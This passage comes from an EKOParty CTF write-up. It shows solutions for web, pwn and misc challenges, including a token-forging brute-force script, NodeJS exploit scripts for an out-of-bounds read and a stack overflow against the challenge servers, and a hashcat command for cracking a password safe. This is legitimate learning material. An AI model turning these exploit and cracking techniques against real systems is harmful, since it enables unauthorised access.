        11        SEND_VAL                                                 32000
        12        DO_FCALL_BY_NAME                              2  $4      
        13        SEND_VAR_NO_REF                               4          $4
        14        DO_FCALL_BY_NAME                              1  $5      
        15        ASSIGN                                                   !1, $5
  22    16        ASSIGN                                                   !2, 0
  23    17        ASSIGN                                                   !3, ''
  24    18        ASSIGN                                                   !4, 0
        19    >   INIT_FCALL_BY_NAME                                       'strlen'
        20        SEND_VAR                                                 !0
        21        DO_FCALL_BY_NAME                              1  $10     
        22        IS_SMALLER                                       ~11     !4, $10
        23      > JMPZNZ                                       27          ~11, ->55
        24    >   POST_INC                                         ~12     !4
        25        FREE                                                     ~12
        26      > JMP                                                      ->19
  25    27    >   INIT_FCALL_BY_NAME                                       'strlen'
        28        SEND_VAR                                                 !1
        29        DO_FCALL_BY_NAME                              1  $13     
        30        IS_EQUAL                                         ~14     !2, $13
        31      > JMPZ                                                     ~14, ->34
        32    >   ASSIGN                                                   !2, 0
        33      > JMP                                                      ->34
  26    34    >   INIT_FCALL_BY_NAME                                       'substr'
        35        SEND_VAR                                                 !1
        36        SEND_VAR                                                 !2
        37        SEND_VAL                                                 1
        38        DO_FCALL_BY_NAME                              3  $16     
  27    39        INIT_FCALL_BY_NAME                                       'substr'
        40        SEND_VAR                                                 !0
        41        SEND_VAR                                                 !4
        42        SEND_VAL                                                 1
        43        DO_FCALL_BY_NAME                              3  $17     
        44        INIT_FCALL_BY_NAME                                       'substr'
        45        SEND_VAR                                                 !1
        46        SEND_VAR                                                 !2
        47        SEND_VAL                                                 1
        48        DO_FCALL_BY_NAME                              3  $18     
        49        BW_XOR                                           ~19     $17, $18
        50        CONCAT                                           ~20     $16, ~19
        51        ASSIGN_CONCAT                                 0          !3, ~20
  28    52        POST_INC                                         ~22     !2
        53        FREE                                                     ~22
  29    54      > JMP                                                      ->24
  30    55    >   INIT_FCALL_BY_NAME                                       'base64_encode'
        56        INIT_METHOD_CALL                                         'ed'
        57        SEND_VAR                                                 !3
        58        DO_FCALL_BY_NAME                              1  $24     
        59        SEND_VAR_NO_REF                               4          $24
        60        DO_FCALL_BY_NAME                              1  $25     
        61      > RETURN                                                   $25
  31    62*     > RETURN                                                   null

End of function crypt

Function decrypt:
Finding entry points
Branch analysis from position: 0
Jump found. Position 1 = 34, Position 2 = 18
Branch analysis from position: 34
Jump found. Position 1 = -2
Branch analysis from position: 18
Jump found. Position 1 = 15
Branch analysis from position: 15
Jump found. Position 1 = 10
Branch analysis from position: 10
filename:       /var/www/html/login.php
function name:  decrypt
number of ops:  36
compiled vars:  !0 = $t, !1 = $v, !2 = $i, !3 = $md5
line     #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
  32     0  E >   RECV                                             !0      
  33     1        INIT_METHOD_CALL                                         'ed'
         2        INIT_FCALL_BY_NAME                                       'base64_decode'
         3        SEND_VAR                                                 !0
         4        DO_FCALL_BY_NAME                              1  $1      
         5        SEND_VAR_NO_REF                               4          $1
         6        DO_FCALL_BY_NAME                              1  $2      
         7        ASSIGN                                                   !0, $2
  34     8        ASSIGN                                                   !1, ''
  35     9        ASSIGN                                                   !2, 0
        10    >   INIT_FCALL_BY_NAME                                       'strlen'
        11        SEND_VAR                                                 !0
        12        DO_FCALL_BY_NAME                              1  $6      
        13        IS_SMALLER                                       ~7      !2, $6
        14      > JMPZNZ                                       18          ~7, ->34
        15    >   POST_INC                                         ~8      !2
        16        FREE                                                     ~8
        17      > JMP                                                      ->10
  36    18    >   INIT_FCALL_BY_NAME                                       'substr'
        19        SEND_VAR                                                 !0
        20        SEND_VAR                                                 !2
        21        SEND_VAL                                                 1
        22        DO_FCALL_BY_NAME                              3  $9      
        23        ASSIGN                                                   !3, $9
  37    24        POST_INC                                         ~11     !2
        25        FREE                                                     ~11
  38    26        INIT_FCALL_BY_NAME                                       'substr'
        27        SEND_VAR                                                 !0
        28        SEND_VAR                                                 !2
        29        SEND_VAL                                                 1
        30        DO_FCALL_BY_NAME                              3  $12     
        31        BW_XOR                                           ~13     $12, !3
        32        ASSIGN_CONCAT                                 0          !1, ~13
  39    33      > JMP                                                      ->15
  40    34    > > RETURN                                                   !1
  41    35*     > RETURN                                                   null

End of function decrypt

End of class AzDGCrypt.

branch: #  0; line:    45-   66; sop:     0; eop:    19; out1:  -2
path #1: 0,
branch: #  0; line:     3-   44; sop:     0; eop:     4; out1:   5; out2:  55
branch: #  5; line:    45-   47; sop:     5; eop:    14; out1:  15; out2:  22
branch: # 15; line:    47-   47; sop:    15; eop:    21; out1:  22
branch: # 22; line:    47-   47; sop:    22; eop:    22; out1:  23; out2:  29
branch: # 23; line:    47-   47; sop:    23; eop:    28; out1:  29
branch: # 29; line:    47-   47; sop:    29; eop:    29; out1:  30; out2:  54
branch: # 30; line:    48-   51; sop:    30; eop:    40; out1:  41; out2:  50
branch: # 41; line:    52-   54; sop:    41; eop:    49; out1:  53
branch: # 50; line:    55-   57; sop:    50; eop:    52; out1:  53
branch: # 53; line:    57-   57; sop:    53; eop:    53; out1:  54
branch: # 54; line:    58-   58; sop:    54; eop:    54; out1:  58
branch: # 55; line:    59-   61; sop:    55; eop:    57; out1:  58
branch: # 58; line:    61-   61; sop:    58; eop:    58; out1:  -2
path #1: 0, 5, 15, 22, 23, 29, 30, 41, 53, 54, 58,
path #2: 0, 5, 15, 22, 23, 29, 30, 50, 53, 54, 58,
path #3: 0, 5, 15, 22, 23, 29, 54, 58,
path #4: 0, 5, 15, 22, 29, 30, 41, 53, 54, 58,
path #5: 0, 5, 15, 22, 29, 30, 50, 53, 54, 58,
path #6: 0, 5, 15, 22, 29, 54, 58,
path #7: 0, 5, 22, 23, 29, 30, 41, 53, 54, 58,
path #8: 0, 5, 22, 23, 29, 30, 50, 53, 54, 58,
path #9: 0, 5, 22, 23, 29, 54, 58,
path #10: 0, 5, 22, 29, 30, 41, 53, 54, 58,
path #11: 0, 5, 22, 29, 30, 50, 53, 54, 58,
path #12: 0, 5, 22, 29, 54, 58,
path #13: 0, 55, 58,
branch: #  0; line:     5-    7; sop:     0; eop:     3; out1:  -2
path #1: 0,
branch: #  0; line:     8-   12; sop:     0; eop:     8; out1:   9
branch: #  9; line:    12-   12; sop:     9; eop:    13; out1:  39; out2:  17
branch: # 14; line:    12-   12; sop:    14; eop:    16; out1:   9
branch: # 17; line:    13-   13; sop:    17; eop:    21; out1:  22; out2:  24
branch: # 22; line:    13-   13; sop:    22; eop:    23; out1:  24
branch: # 24; line:    14-   16; sop:    24; eop:    38; out1:  14
branch: # 39; line:    17-   18; sop:    39; eop:    40
path #1: 0, 9, 39,
path #2: 0, 9, 17, 22, 24, 14, 9, 39,
path #3: 0, 9, 17, 24, 14, 9, 39,
branch: #  0; line:    19-   24; sop:     0; eop:    18; out1:  19
branch: # 19; line:    24-   24; sop:    19; eop:    23; out1:  55; out2:  27
branch: # 24; line:    24-   24; sop:    24; eop:    26; out1:  19
branch: # 27; line:    25-   25; sop:    27; eop:    31; out1:  32; out2:  34
branch: # 32; line:    25-   25; sop:    32; eop:    33; out1:  34
branch: # 34; line:    26-   29; sop:    34; eop:    54; out1:  24
branch: # 55; line:    30-   31; sop:    55; eop:    62
path #1: 0, 19, 55,
path #2: 0, 19, 27, 32, 34, 24, 19, 55,
path #3: 0, 19, 27, 34, 24, 19, 55,
branch: #  0; line:    32-   35; sop:     0; eop:     9; out1:  10
branch: # 10; line:    35-   35; sop:    10; eop:    14; out1:  34; out2:  18
branch: # 15; line:    35-   35; sop:    15; eop:    17; out1:  10
branch: # 18; line:    36-   39; sop:    18; eop:    33; out1:  15
branch: # 34; line:    40-   41; sop:    34; eop:    35
path #1: 0, 10, 34,
path #2: 0, 10, 18, 15, 10, 34,

By analysing the opcodes called, I can see that 'index.php' is simply outputting a form that posts to 'login.php'. Looking at 'login.php', it looks like it's checking for a few substrings in the submitted data, and then proceeding to use the AzDGCrypt class with 'EKO{this_is_not_the_flag}' as the key, expecting the result to be 'e88ef51d4112b999380444ce48488762'.

After inspecting the AzDGCrypt library, it looks like we will not have to work very hard to recover the original ciphertext.

<?php
class AzDGCrypt{
   var $k;
   function AzDGCrypt($m){
      $this->k = $m;
   }
   function ed($t) {
      $r = md5($this->k);
      $c=0;
      $v = "";
      for ($i=0;$i<strlen($t);$i++) {
         if ($c==strlen($r)) $c=0;
         $v.= substr($t,$i,1) ^ substr($r,$c,1);
         $c++;
      }
      return $v;
   }

  function crypt($t){
      srand((double)microtime()*1000000);
      $r = md5(rand(0,32000));
      $c=0;
      $v = "";
      for ($i=0;$i<strlen($t);$i++){
         if ($c==strlen($r)) $c=0;
         $v.= substr($r,$c,1) .
             (substr($t,$i,1) ^ substr($r,$c,1));
         $c++;
      }
      return base64_encode($this->ed($v));
   }
   function decrypt($t) {
      $t = $this->ed(base64_decode($t));
      $v = "";
      for ($i=0;$i<strlen($t);$i++){
         $md5 = substr($t,$i,1);
         $i++;
         $v.= (substr($t,$i,1) ^ $md5);
      }
      return $v;
   }
}

We already know the key, and the target plaintext. The only other unknown is the small random number. By replacing the original 'crypt' method with one that accepts a parameter which sets this random number, and then checking the resulting ciphertext against the substrings which are being checked for, we can recover the original ciphertext.

First, our modified crypt method.

// New crypt method
function crypt($t,$r){
  $r = md5($r);

And our bruteforce script.

$azdgcrypt = new AzDGCrypt('EKO{this_is_not_the_flag}');
for ($i=0; $i<32000; $i++) { $token = $azdgcrypt->crypt('e88ef51d4112b999380444ce48488762', $i);
  if (
    substr($token, 0, 4) == 'CmxQ' &amp;&amp;
    substr($token, 44, 4) == 'MgY/' &amp;&amp;
    substr($token, -4) == 'Mg=='
  ) {
    echo "$token\n";
    break;
  }

This results in a Base64 encoded string.

CmxQaQAzBTYKZQYzAWAFZAY1V2NVZAZgUGQCbAU9Vz4CMgY/AzgLaQwxWm5SYVY2UGNUaVFlAm5VO1MzBDNQMg==

I create a small PHP script to load the 'cache.data' file under Apache.

<?php
  apc_bin_loadfile("cache.data");

We then visit 'index.php'. The cached form is displayed to us. After inputting the above string, we are given our flag.

Welcome master, your key is EKO{59a59936b318e8ef20fd923a3e7b05a1e44e9e91}

Pwn25

We're given a service to connect to, and the source of the binary behind it.

evidence-12.zip

#include
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <answer.h>

int main()
{

        signed int i;
        unsigned int base, try, rnd[128];

        printf("Welcome to PRNG service\nPlease wait while we generate 64 random numbers...\n");
        fflush(0);
        sleep(2);
        strcpy((char *)&amp;rnd[0], ANSWER);
        srandom(1337);
        base = 64;
        for (i = 0; i < 64; i++) rnd[base + i] = random();
        printf("Process finished\n");
        fflush(0);
        try = 0;
        while (try < 10) {
                printf("Choose a number [0-63]?");
                fflush(0);

                scanf("%d", &amp;i);
                fflush(0);

                if (i < 64) {
                        printf ("Your number is: 0x%08x\n", rnd[base + i]);
                } else {
                        printf("Index out of range\n");
                }
                try++;
                fflush(0);

        }
        printf ("Thank you for using our service\n");
        fflush(0);

        return 0;
}

We are supposed to provide the index (0-64) of our desired number in the set. The bounds of this input are not checked, and the answer is set in the index 0-64 of the target array (our input is shifted by the value of 64). We can input -64 to get the first 8 bytes of this array, -63 to get the next 8 bytes, and so on.

I put together a little NodeJS script to automate the exploitation of this flaw, and recover the key.

var net = require('net');

var connection = net.connect({
        host: 'challs.ctf.site',
        port: 20003
}, function() {});

var index = -64;
var endStr = '';

connection.on('data', function(data) {
        var recData = data.toString();
        if (recData.indexOf('Choose a number [0-63]?') != -1) {
                if (index < 0) {
                        connection.write(index+'\n');
                        index += 1;
                }
        }
        if (recData.indexOf('Your number is:') != -1) {
                var result = recData.split(': 0x')[1].trim();
                for (var i=6; i>=0; i-=2) {
                        console.log(result.substr(i, 2));
                        endStr += String.fromCharCode(parseInt(result.substr(i, 2), 16));
                }
        }
});

connection.on('end', function(data) {
        console.log(endStr);
});

The flag is output once all of the bytes are gathered.

EKO{little_endian_and_signed_-1nt}

Pwn50

Another binary - after opening it in gdb, it looks like it reads the content of the file 'flag.txt', and then checks for the username 'charly', and the password 'h4ckTH1s'.

evidence-13.zip

After checking the allowed input lengths and addresses used for variables down the stack, it looks like we can override the allowed length of the input for the 'password' field by providing a long enough value to the 'username' field. This still passes 'authentication', as only a substr of the input is checked against the expected values. After we have overridden the allowed length of the 'password' field, we can then override another bit that is used to check whether or not we are an admin. I check this supposition with the following input in gdb.

Username: charlyAAAAAAAAAAA
Password: h4ckTH1sAAAAAAAAC

x/20x $rbp-0xa8

0x7fffffffdd78:    0x43    0x0a    0x00    0x00    0xff    0x7f    0x00    0x00
0x7fffffffdd80:    0x74    0x65    0x73    0x74    0x69    0x6e    0x67    0x0a
0x7fffffffdd88:    0x00    0x74    0xff    0xf7

Great - we've overwritten the byte at 0x7fffffffdd78 - the start of the four bytes that are used to check to see if we're an admin - with the value 0x43 (C).

Creating another NodeJS script, we can exploit this vulnerability, by overwriting the target four bytes with our own data.

var net = require('net');

var connection = net.connect({
        host: 'challs.ctf.site',
        port: 20000
}, function() {});

connection.on('data', function(data) {
        var recData = data.toString();
        if (recData.indexOf('User : ') != -1) {
                connection.write('charlyAAAAAAAAAAA');
        } else if (recData.indexOf('Password : ') != -1) {
                connection.write('h4ckTH1sAAAAAAAA\x01\x00\x00\x00\n');
        }
        console.log(recData);
});

We get some output from the service, which includes our flag.

Your flag is : EKO{Back_to_r00000ooooo00000tS}

Misc25

Here, we're asked to send in a picture of the EKOParty site, with a piece of paper in shot with our team name, and our favourite drink. Fair enough..

We have the challenge marked as complete for us.

Misc50

We're given a hint here - after checking in the HTML source, there's a hidden word to this hint.

GET all the <!-- country --> flags. literally.

After gathering a list of the country flags from the registration page, I download them all. After checking for any interesting strings, I come across our flag, hidden within the file 'MKD.png'.

EKO{misc_challenges_are_really_bad}

Misc100

After downloading the ZIP file, I find a file inside that is identified as a Password Safe v3 file.

evidence-15.zip

We're given a hint that the password matches the following Regex.

[a-zA-Z0-9]{0,4}

I put together a little Python script to generate a wordlist

import itertools, string
for i in range(1,5):
    for perm in itertools.product(string.ascii_uppercase + string.ascii_lowercase + string.digits, repeat=i):
        print "".join(perm)

And run the result through hashcat.

/opt/hashcat-0.50/hashcat-cli64.bin -m 5200 mypasswords.psafe3 list.txt

The password is found very quickly as 'Ek0'.

After opening the file in password-gorilla and exporting the records to a text file, we find our flag.

420e61f5-08df-4005-a3fc-64436ed17c63,,My leet password,https://ctf.site/task/misc/100,,EKO{password_managers_rulez},

Incomplete Challenges

So, while I've learnt a lot in this CTF, there were a number of challenges where my lack of knowledge failed me.

Cry100

After doing a lot of reading, and seeing the hint RE Padding, it's my guess that this is an RSA Textbook encryption. Factoring the Private Key looks to be out of the question due to a 2070bit key, and a public exponent of 0x1001.

evidence-16.zip

Cry200

This challenge uses a OTP to encrypt messages. While I was able to analyse the binary, and determine the encryption method, I was unable to guess the encryption key. My guess, following the hint, is that the encryption key is some how derived from the Fibonacci Sequence. Below is a Python script I wrote while testing, that demonstrates both Encryption and Decryption used by this binary.

def enc(plaintext, key):
        plaintextl = map(ord, list(plaintext))
        keyl = map(ord, list(key))

        result = ''
        for n, kn in enumerate(keyl):
                result += format((plaintextl[n] &amp; 0xff) ^ (kn &amp; 0xff), 'x').zfill(2)
        return result

def dec(ciphertext, key):
        ciphertextl = [int(x, 16) for x in [ciphertext[i:i+2] for i in range(0, len(ciphertext), 2)]]
        keyl = map(ord, list(key))

        print keyl

        result = ''
        for n, kn in enumerate(keyl):
                print result
                result += chr((ciphertextl[n] &amp; 0xff) ^ (kn &amp; 0xff))


        return result

encrypted = enc('ABCD', 'EFGH')
decrypted = dec(encrypted, 'EFGH')

evidence-17.zip

Rev100

I didn't have a huge amount of success with this challenge, however the assumption I hold is that this binary is a perfect example of the apparent Turing completeness of the MOV instruction.

evidence-18.zip

Pwn100

I really didn't have much luck with this one, at all. After investigation, it looks like it reads in the contents of a file named 'flag.txt'. It then reads in a username, which is XORED against the value from file.txt. We can cause an overflow with this by entering (up to) 1024 characters.

evidence-19.zip

Pwn200

This challenge contains a Format String vulnerability. While I was able to dump a lot of memory via the service using this vulnerability, I was unable to get the final flag. I did however find the dummy flag, which was added as a hint later in the challenge.

This is a network only challenge - we are not provided with the binary.

Misc200

This challenge provides us with another binary - when executed, it outputs a lovely ASCII(UTF8) image of a cat.

Apparently, this is not a reversing challenge. I somewhat question that, as the challenge title is 'Reversing Psychology'.

Anyway - feels like this utilizes steganography within the image some how, but I'm really not sure where to start with it.

evidence-20.zip

Conclusions

What an amazing CTF! There was a nice range of challenges.

While I missed some of the flags, I'm pretty pleased with the ones that I manage to solve, especially Web200, which was causing me major aggravation.

I'm really looking forward to other write ups - I always take the opportunity to learn and improve my skills, and these CTFs are a great way to do that.

Thank you Eko Party for putting on this CTF, and I hope you guys have a great conference next month!